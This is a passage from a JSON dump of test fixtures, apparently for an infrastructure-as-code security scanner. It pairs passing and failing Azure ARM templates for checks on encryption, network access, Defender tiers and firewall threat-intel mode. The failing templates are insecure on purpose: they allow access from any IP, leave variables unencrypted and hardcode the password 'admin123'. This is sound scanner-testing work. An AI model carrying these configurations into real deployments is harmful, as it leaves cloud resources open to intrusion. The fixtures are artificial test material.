\"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"passed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": true,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AutomationEncrypted/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {},\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Automation/automationAccounts/variables\",\n            \"apiVersion\": \"2020-01-13-preview\",\n            \"name\": \"fail\",\n            \"properties\": {\n                \"name\": \"tfex-example-var\",\n                \"value\": \"Hello, Arm Basic Test.\",\n                \"isEncrypted\": false\n            },\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Automation/automationAccounts', 'example')]\"\n            ]\n        }\n    ],\n    \"outputs\": {}\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AutomationEncrypted/fail1.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {},\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Automation/automationAccounts/variables\",\n            \"apiVersion\": \"2020-01-13-preview\",\n            \"name\": \"fail1\",\n            \"properties\": {\n                \"name\": \"tfex-example-var\",\n                \"value\": \"Hello, Arm Basic Test.\"\n            },\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Automation/automationAccounts', 'example')]\"\n            ]\n        }\n    ],\n    \"outputs\": {}\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AutomationEncrypted/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {},\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Automation/automationAccounts/variables\",\n      \"apiVersion\": \"2020-01-13-preview\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"name\": \"tfex-example-var\",\n        \"value\": \"Hello, Arm Basic Test.\",\n        \"isEncrypted\": true\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Automation/automationAccounts', 'example')]\"\n      ]\n    }\n  ],\n  \"outputs\": {}\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureBatchAccountEndpointAccessDefaultAction.py/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"fail_explicit_publicNetworkAccess\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\",\n        \"networkProfile\": {\n          \"accountAccess\": {\n            \"defaultAction\": \"Allow\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"fail_default_publicNetworkAccess\",\n      \"properties\": {\n        \"networkProfile\": {\n          \"accountAccess\": {\n            \"defaultAction\": \"Allow\"\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureBatchAccountEndpointAccessDefaultAction.py/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass_empty\",\n      \"properties\": {\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass_publicNetworkAccess_disabled\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass_publicNetworkAccess_enabled_no_network_profile\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass_publicNetworkAccess_enabled_no_account_access\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\",\n        \"networkProfile\": {\n\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass_publicNetworkAccess_enabled_default_action_deny\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\",\n        \"networkProfile\": {\n          \"accountAccess\": {\n            \"defaultAction\": \"Deny\"\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureBatchAccountUsesKeyVaultEncryption/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.54.24096\",\n      \"templateHash\": \"5620168434409602803\"\n    }\n  },\n  \"parameters\": {\n    \"batchAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('{0}batch', toLower(uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Batch Account Name\"\n      }\n    },\n    \"storageAccountsku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[format('{0}storage', uniqueString(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2023-01-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountsku')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"tags\": {\n        \"ObjectName\": \"[variables('storageAccountName')]\"\n      },\n      \"properties\": {\n        \"minimumTlsVersion\": \"TLS1_2\",\n        \"allowBlobPublicAccess\": false,\n        \"networkAcls\": {\n          \"defaultAction\": \"Deny\"\n        },\n        \"supportsHttpsTrafficOnly\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"ObjectName\": \"[parameters('batchAccountName')]\"\n      },\n      \"properties\": {\n        \"autoStorage\": {\n          \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]\"\n        }\n\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    },\n    \"batchAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('batchAccountName')]\"\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('location')]\"\n    },\n    \"resourceGroupName\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceGroup().name]\"\n    },\n    \"resourceId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.Batch/batchAccounts', parameters('batchAccountName'))]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureBatchAccountUsesKeyVaultEncryption/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.54.24096\",\n      \"templateHash\": \"5620168434409602803\"\n    }\n  },\n  \"parameters\": {\n    \"batchAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('{0}batch', toLower(uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Batch Account Name\"\n      }\n    },\n    \"storageAccountsku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[format('{0}storage', uniqueString(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2023-01-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountsku')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"tags\": {\n        \"ObjectName\": \"[variables('storageAccountName')]\"\n      },\n      \"properties\": {\n        \"minimumTlsVersion\": \"TLS1_2\",\n        \"allowBlobPublicAccess\": false,\n        \"networkAcls\": {\n          \"defaultAction\": \"Deny\"\n        },\n        \"supportsHttpsTrafficOnly\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"tags\": {\n        \"ObjectName\": \"[parameters('batchAccountName')]\"\n      },\n      \"properties\": {\n        \"autoStorage\": {\n          \"storageAccountId\": \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]\"\n        },\n        \"keyVaultReference\": {\n      \"id\": \"test\",\n      \"url\": \"https://test.com\"\n    }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    },\n    \"batchAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('batchAccountName')]\"\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('location')]\"\n    },\n    \"resourceGroupName\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceGroup().name]\"\n    },\n    \"resourceId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.Batch/batchAccounts', parameters('batchAccountName'))]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDataExplorerDoubleEncryptionEnabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Kusto/clusters\",\n      \"location\": \"West Europe\",\n      \"name\": \"fail\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"enableDoubleEncryption\": false,\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDataExplorerDoubleEncryptionEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Kusto/clusters\",\n      \"location\": \"West Europe\",\n      \"name\": \"pass\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"enableDoubleEncryption\": true,\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnKeyVaults/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2024-01-01\",\n      \"name\": \"KeyVaults\",\n      \"properties\": {\n        \"pricingTier\": \"Free\",\n        \"extensions\": [\n          {\n            \"name\": \"KeyVaults\"\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnKeyVaults/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2024-01-01\",\n      \"name\": \"KeyVaults\",\n      \"properties\": {\n        \"pricingTier\": \"Standard\",\n        \"extensions\": [\n          {\n            \"name\": \"KeyVaults\"\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnKubernetes/fail.json",
    "content": "{\n\"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n\"contentVersion\": \"1.0.0.0\",\n\"parameters\": {\n    \"pricing\": {\n        \"type\": \"string\",\n        \"allowedValues\": [\n            \"Standard\",\n            \"Free\"\n        ]\n    }\n},\n\n\"resources\": [\n    {\n        \"type\": \"Microsoft.Security/pricings\",\n        \"apiVersion\": \"2017-08-01-preview\",\n        \"name\": \"KubernetesService\",\n        \"properties\": {\n            \"pricingTier\": \"Free\"\n        }\n    },\n            {\n            \"type\": \"Microsoft.Compute/disks\",\n            \"apiVersion\": \"2023-01-02\",\n            \"name\": \"[parameters('disks_acctestmd1_name')]\",\n            \"location\": \"westus2\",\n            \"tags\": {\n                \"environment\": \"staging\"\n            },\n            \"sku\": {\n                \"name\": \"Standard_LRS\",\n                \"tier\": \"Standard\"\n            },\n            \"properties\": {\n                \"creationData\": {\n                    \"createOption\": \"Empty\"\n                },\n                \"diskSizeGB\": 1,\n                \"diskIOPSReadWrite\": 500,\n                \"diskMBpsReadWrite\": 60,\n                \"encryption\": {\n                    \"type\": \"EncryptionAtRestWithPlatformKey\"\n                },\n                \"networkAccessPolicy\": \"AllowAll\",\n                \"publicNetworkAccess\": \"Enabled\",\n                \"diskState\": \"Unattached\"\n            }\n        }\n\n]}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnKubernetes/pass.json",
    "content": "{\n\"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n\"contentVersion\": \"1.0.0.0\",\n\"parameters\": {\n    \"pricing\": {\n        \"type\": \"string\",\n        \"allowedValues\": [\n            \"Standard\",\n            \"Free\"\n        ]\n    }\n},\n\"resources\": [\n\n    {\n        \"type\": \"Microsoft.Security/pricings\",\n        \"apiVersion\": \"2018-06-01\",\n        \"name\": \"KubernetesService\",\n        \"dependsOn\": [\n            \"[concat('Microsoft.Security/pricings/default')]\"\n        ],\n        \"properties\": {\n            \"pricingTier\": \"Standard\"\n        }\n    },\n    {\n        \"type\": \"Microsoft.Security/pricings\",\n        \"apiVersion\": \"2018-06-01\",\n        \"name\": \"KeyVaults\",\n        \"dependsOn\": [\n            \"[concat('Microsoft.Security/pricings/SqlServers')]\"\n        ],\n        \"properties\": {\n            \"pricingTier\": \"Standard\"\n        }\n    },\n    {\n        \"type\": \"Microsoft.Security/pricings\",\n        \"apiVersion\": \"2018-06-01\",\n        \"name\": \"SqlServerVirtualMachines\",\n        \"dependsOn\": [\n            \"[concat('Microsoft.Security/pricings/AppServices')]\"\n        ],\n        \"properties\": {\n            \"pricingTier\": \"Standard\"\n        }\n    }\n]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnSqlServersVMS/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n        \"type\": \"Microsoft.Security/pricings\",\n        \"apiVersion\": \"2020-01-01\",\n        \"name\": \"SqlServerVirtualMachines\",\n        \"properties\": {\n        \"tier\": \"Standard\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"defenderResourceId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.Security/autoProvisioningSettings', parameters('defenderName'))]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnSqlServersVMS/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n        \"type\": \"Microsoft.Security/pricings\",\n        \"apiVersion\": \"2020-01-01\",\n        \"name\": \"SqlServerVirtualMachines\",\n        \"properties\": {\n        \"tier\": \"Free\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"defenderResourceId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.Security/autoProvisioningSettings', parameters('defenderName'))]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnStorage/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"pricingTier\": \"Free\",\n        \"resourceType\": \"Microsoft.Security/pricings\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureDefenderOnStorage/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Security/pricings\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"pricingTier\": \"Standard\",\n        \"resourceType\": \"Microsoft.Security/pricings\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"azureFirewalls_fail_name\": {\n      \"type\": \"String\"\n    },\n    \"publicIPAddresses_testpip_name\": {\n      \"type\": \"String\"\n    },\n    \"virtualNetworks_testvnet_name\": {\n      \"type\": \"String\"\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"location\": \"westeurope\",\n      \"name\": \"[parameters('publicIPAddresses_testpip_name')]\",\n      \"properties\": {\n        \"ddosSettings\": {\n          \"protectionMode\": \"VirtualNetworkInherited\"\n        },\n        \"idleTimeoutInMinutes\": 4,\n        \"ipAddress\": \"20.234.231.26\",\n        \"ipTags\": [],\n        \"publicIPAddressVersion\": \"IPv4\",\n        \"publicIPAllocationMethod\": \"Static\"\n      },\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"tier\": \"Regional\"\n      },\n      \"type\": \"Microsoft.Network/publicIPAddresses\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n      ],\n      \"location\": \"westeurope\",\n      \"name\": \"[parameters('virtualNetworks_testvnet_name')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": []\n        },\n        \"enableDdosProtection\": false,\n        \"subnets\": [\n          {\n            \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\",\n            \"name\": \"AzureFirewallSubnet\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\",\n              \"delegations\": [],\n              \"privateEndpointNetworkPolicies\": \"Enabled\",\n              \"privateLinkServiceNetworkPolicies\": \"Enabled\",\n              \"serviceEndpoints\": []\n            },\n            \"type\": \"Microsoft.Network/virtualNetworks/subnets\"\n          }\n        ],\n        \"virtualNetworkPeerings\": []\n      },\n      \"type\": \"Microsoft.Network/virtualNetworks\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworks_testvnet_name'))]\"\n      ],\n      \"name\": \"[concat(parameters('virtualNetworks_testvnet_name'), '/AzureFirewallSubnet')]\",\n      \"properties\": {\n        \"addressPrefix\": \"10.0.1.0/24\",\n        \"delegations\": [],\n        \"privateEndpointNetworkPolicies\": \"Enabled\",\n        \"privateLinkServiceNetworkPolicies\": \"Enabled\",\n        \"serviceEndpoints\": []\n      },\n      \"type\": \"Microsoft.Network/virtualNetworks/subnets\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n      ],\n      \"location\": \"westeurope\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"additionalProperties\": {},\n        \"applicationRuleCollections\": [],\n        \"ipConfigurations\": [\n          {\n            \"id\": \"[concat(resourceId('Microsoft.Network/azureFirewalls', parameters('azureFirewalls_fail_name')), '/azureFirewallIpConfigurations/configuration')]\",\n            \"name\": \"configuration\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"natRuleCollections\": [],\n        \"networkRuleCollections\": [],\n        \"sku\": {\n          \"name\": \"AZFW_VNet\",\n          \"tier\": \"Standard\"\n        },\n        \"threatIntelMode\": \"Alert\"\n      },\n      \"type\": \"Microsoft.Network/azureFirewalls\"\n    }\n  ],\n  \"variables\": {}\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"azureFirewalls_fail_name\": {\n      \"type\": \"String\"\n    },\n    \"publicIPAddresses_testpip_name\": {\n      \"type\": \"String\"\n    },\n    \"virtualNetworks_testvnet_name\": {\n      \"type\": \"String\"\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"location\": \"westeurope\",\n      \"name\": \"[parameters('publicIPAddresses_testpip_name')]\",\n      \"properties\": {\n        \"ddosSettings\": {\n          \"protectionMode\": \"VirtualNetworkInherited\"\n        },\n        \"idleTimeoutInMinutes\": 4,\n        \"ipAddress\": \"20.234.231.26\",\n        \"ipTags\": [],\n        \"publicIPAddressVersion\": \"IPv4\",\n        \"publicIPAllocationMethod\": \"Static\"\n      },\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"tier\": \"Regional\"\n      },\n      \"type\": \"Microsoft.Network/publicIPAddresses\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n      ],\n      \"location\": \"westeurope\",\n      \"name\": \"[parameters('virtualNetworks_testvnet_name')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": []\n        },\n        \"enableDdosProtection\": false,\n        \"subnets\": [\n          {\n            \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\",\n            \"name\": \"AzureFirewallSubnet\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\",\n              \"delegations\": [],\n              \"privateEndpointNetworkPolicies\": \"Enabled\",\n              \"privateLinkServiceNetworkPolicies\": \"Enabled\",\n              